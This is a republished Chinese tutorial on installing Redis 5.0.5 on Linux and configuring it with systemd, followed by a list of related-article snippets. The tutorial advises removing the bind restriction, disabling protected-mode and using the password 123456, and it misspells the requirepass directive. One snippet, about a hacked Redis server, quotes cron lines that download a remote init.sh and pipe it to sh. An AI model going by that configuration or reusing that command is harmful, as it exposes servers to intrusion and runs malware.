Linux下redis的安装过程与配置详细教程【5.0.5为例子】

news2024/12/26 4:34:40

Linux下redis的安装过程与配置方法【5.0.5为例子】

  1. 下载redis
    redis下载地址
    https://download.redis.io/releases/
    也可以自行去官网下载
    提示:此处安装的为redis-5.05的版本
    在这里插入图片描述

  2. 上传redis安装包(我的安装目录为/data/tool/redis-5.0.5)

    创建目录/data/local/tool并进入该目录,解压redis包

mkdir -p /data/tool  # 创建目录
tar -zxvf redis-5.0.5.tar.gz  # 解压
cd /data/tool/redis-5.0.5  # 进入目录
  1. 安装gcc编译器
    注意:由于redis是C语言编写,它的运行需要C环境,所以编译前需要安装gcc编译器
yum install gcc-c++   #没有安装
     安装过程需要下载几个包,需要输入两个y,按回车后继续安装
  1. 安装redis
[root@redis]# cd redis-5.0.5
[root@t redis-5.0.5]# make

等待编译完成后
进入 src 目录后执行 make install

cd /src
make install

安装成功如下:
在这里插入图片描述

  1. 配置并启动redis【重点】
    在/data/tool/redis-5.0.5下新建config目录
[root@localhost src]# cd /data/tool/redis-5.0.5
[root@localhost redis]# mkdir config

移动配置文件,先将 redis-5.0.5 里的配置文件 redis.conf 移动到刚创建的 config 文件夹

[root@localhost redis]# cd redis-5.0.5
[root@localhost redis-5.0.5]# mv redis.conf /data/tool/redis-5.0.5/config

修改配置文件,进入config目录,修改redis.conf配置文件

[root@localhost config]# vim redis.conf
  1. 注释掉 bind 127.0.0.1 这一行(解决只能特定网段连接的限制;正式服务器部署如阿里云、华为云,为项目安全严格可以保留注释,自己测试服务使用的话就注释掉)
    在这里插入图片描述

(2) 将 protected-mode 属性改为 no (关闭保护模式,不然会阻止远程访问;同上,正式服务器项目上线可不修改)
在这里插入图片描述

(3) 将 daemonize 属性改为 yes (这样启动时就是后台启动)

在这里插入图片描述

(4) 设置密码

reqquirepass 123456 # 设置密码

在这里插入图片描述

(5)修改完成后,wq保存并退出(先按Esc,接着输入 :wq,然后按回车健)

  1. 启动redis
    注意找不到redis-server,则使用which查看位置,然后运行
[root@localhost src]# cd /data/tool/redis-5.0.5
[root@localhost redis-5.0.5]# src/redis-server config/redis.conf
[root@localhost redis-5.0.5]# ps -ef | grep redis

在这里插入图片描述
测试
在这里插入图片描述
7. 设置开机自启

使用Systemd设置Redis开机自启动
创建Service文件:在/usr/lib/systemd/system/目录下创建一个名为redis.service的文件。

编辑Service文件:在redis.service文件中写入相应的配置内容,如:

[Unit]
Description=Redis persistent key-value database
After=network.target

[Service]
User=prouser
Group=rdType
Type=forking
ExecStart=/opt/app/redis/bin/redis-server /opt/app/redis/bin/redis.conf
ExecStop=/opt/app/redis/bin/redis-cli shutdown
Restart=on-failure
PrivateTmp=true

[Install]
WantedBy=multi-user.target

重载Systemd配置:使用命令systemctl daemon-reload重载配置。

设置开机自启动:使用命令systemctl enable redis来设置Redis开机自启动。

启动Redis服务:使用命令systemctl start redis启动Redis服务。

查看Redis服务状态:使用命令systemctl status redis来查看Redis服务是否成功设置开机自启动
``

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1621534.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

记录第一次云服务器redis被黑

redis里莫名奇妙被写入四个键值对,backup1,backup2,backup3,backup4,内容是奇奇怪怪的sh脚本:*/5 * * * * root wd1 -q -O- http://45.83.123.29/cleanfda/init.sh | sh http://en2an.top/cleanfda/init.sh */2 * * * * root cd1 -fsSL http…

闲话 ASP.NET Core 数据校验(一):内置数据校验

前言 所谓输入的是垃圾,输出也必然是垃圾,有多少安全问题隐藏在请求的数据中,所以永远不能相信来自用户端的输入。 对请求数据的合法性进行校验,不仅有助于提升用户界面的友好性,而且有助于提高后台程序的安全性和稳…

测试用例设计方法-异常测试

飞的最高的海鸥,能看到最远的奇景。大家好,继续给大家分享如何进行异常测试,首先要做好异常测试,需要我们对被测系统进行全面的了解,熟悉被测系统的功能、架构和运行机制,然后在这个基础上尽可能覆盖各种的…

Linux 基础IO(2)磁盘文件

文章目录 1.磁盘文件2.文件系统3.软硬链接1.软链接2.硬链接 4.动静态库1.静态库2.动态库 1.磁盘文件 扇区:整个盘片分成不同的区块,每一个区块就是一个扇区。 扇区是磁盘IO的基本单位,一般为512Byte或4KB,一般磁盘都是512Byte磁道&#xff1a…

一年期免费SSL证书正在消失?这里还有

在数字化时代,数据安全与隐私保护的重要性不言而喻。SSL(Secure Sockets Layer)证书作为保障互联网通信安全的关键工具,其有效期一直是业界关注的焦点。近年来,我们见证了免费一年期SSL证书向三个月有效期的转变&#…

【LeetCode刷题记录】24. 两两交换链表中的节点

24 两两交换链表中的节点 给你一个链表,两两交换其中相邻的节点,并返回交换后链表的头节点。你必须在不修改节点内部的值的情况下完成本题(即,只能进行节点交换)。 示例 1: 输入:head [1,2,…

C++ 编译器中对 use after free 的检查示例

意图&#xff1a;检查源代码中是否存在某些地址&#xff0c;在free掉之后还对其进行了访问。 1, 示例远代码 cat hello_sani.cpp #include <iostream>using namespace std;int main(int argc, char **argv) {int i 1;int *A new int[12];cout <<"newed …

【Unity】AssetBundle加载与卸载

unity官方apiAssetBundle-LoadFromFileAsync - Unity 脚本 API 异步加载AB包 using UnityEngine; using System.Collections; using System.IO;public class LoadFromFileAsyncExample : MonoBehaviour {IEnumerator Start(){var bundleLoadRequest AssetBundle.LoadFromFil…

【执行数据库操作时Tomcat报错但不影响使用】error testWhileIdle is true, validationQuery not set

问题描述 每次重新部署项目后&#xff0c;执行数据库相关操作都会报个“严重error”&#xff0c;之后再查询数据库就不会有了&#xff0c;目前看来没任何其他影响 24-Apr-2024 20:19:15.195 严重 [http-nio-8082-exec-12] com.alibaba.druid.support.logging.JakartaCommons…

stable diffusion webui 使用 SDXL模型

可以去c站上下载别人处理好的模型&#xff0c;从liblib里下载也可以 DreamShaper XL 将下载好的模型复制到/models/Stable-diffusion目录下&#xff0c;webui的界面里选择加载模型 测试了一下&#xff0c;需要注意的是这三个选项 采样器必须设置为DPM SDE Karras &#xf…

java SpringMvc笔记

springMVC M:模型层,包含实体类,业务逻辑层,数据访问层; v: 视图层,html,javascript,vue等 c:控制层,它是用来接收客户端的请求,并返回响应客户端的组件,Servelet组件 SpringMVC 1、轻量级&#xff0c;基于MVC的框架 2、具备IOC和AOP 3、完全基于注解开发 client(客户端)-&am…

用友 GRP-U8 fastjson远程代码执行漏洞复现(XVE-2024-8863)

0x01 产品简介 用友GRP-U8R10行政事业内控管理软件是用友公司专注于国家电子政务事业,基于云计算技术所推出的新一代产品,是我国行政事业财务领域最专业的政府财务管理软件。 0x02 漏洞概述 用友 GRP-U8 R10系列版本 VerifyToken 接口存在低版本fastjson反序列化漏洞,未经…

分布式与一致性协议之CAP(一)

CAP理论 概述。 在开发分布式系统的时候&#xff0c;会遇到一个非常棘手的问题&#xff0c;那就是如何根据业务特点&#xff0c;为系统设计合适的分区容错一致性模型&#xff0c;以实现集群能力。这个问题棘手在当发生分区错误时&#xff0c;应该如何保障系统稳定运行而不影响…

高精度加法及乘法

目录 字符串的高精度加法 为什么需要高精度加法&#xff1f; 怎么进行高精度加法&#xff1f; 链表的高精度加法 翻转链表&#xff08;带虚拟头节点&#xff09; 字符串的高精度乘法 字符串的高精度加法 大数加法_牛客题霸_牛客网 (nowcoder.com)https://www.nowcoder.co…

超详细神仙级Python入门教程,从零基础入门到精通,从看这篇开始

一、初聊Python 1.为什么要学习Python&#xff1f; 在学习Python之前&#xff0c;你不要担心自己没基础或“脑子笨”&#xff0c;我始终认为&#xff0c;只要你想学并为之努力&#xff0c;就能学好&#xff0c;就能用Python去做很多事情。在这个喧嚣的时代&#xff0c;很多技…

数字积分生态:区块链与电商的未来发展之路

大家好&#xff0c;我是微三云周丽&#xff0c;今天给大家分析当下市场比较火爆的商业模式&#xff01; 小编今天跟大伙们分享什么是区块链与电商的完美结合&#xff1f; 区块链技术作为一种去中心化、不可篡改的分布式账本技术&#xff0c;正逐渐渗透到各行各业&#xff0c;给…

yolov5实现人脸检测与性别分类

自建数据集训练人脸检测模型 自建数据集训练人脸性别分类研判模型 使用代码级联两个模型实现静态识别 动态实时识别 python开发语言&#xff0c;pytorch框架&#xff0c;支持一键部署运行

齐护K210系列教程(十一)_显示摄像头图像

显示摄像头图像 因不同的型号在设计的屏显示方向时不同&#xff0c;我们设计程序时可以通过旋转屏幕或摄像头图像的方式来达到正确的显示方向。 型号Q1及掌机前面还有一个RGB灯可以用于摄像头的补光&#xff0c;这样在比较暗的环境下可以开启&#xff0c;让摄像头图像更清晰。…

云计算技术架构及发展

云计算是指一种将可伸缩、弹性、共享的物理和虚拟资源池以按需自服务的方式供应和管理&#xff0c;并提供网络访问的模式。 云计算服务商利用分布式计算和虚拟资源管理等技术&#xff0c;通过网络将分散的ICT资源集中起来形成共享的资源池&#xff0c;并以动态按需和可度量的方…

mysql buffer pool详解

介绍 缓冲池是InnoDB在访问表和索引数据时缓存的主内存区域。缓冲池允许直接从内存访问频繁使用的数据&#xff0c;这加快了处理速度。在专用服务器上&#xff0c;通常会将多达80%的物理内存分配给缓冲池。 为了提高大容量读操作的效率&#xff0c;缓冲池被划分为可能包含多行…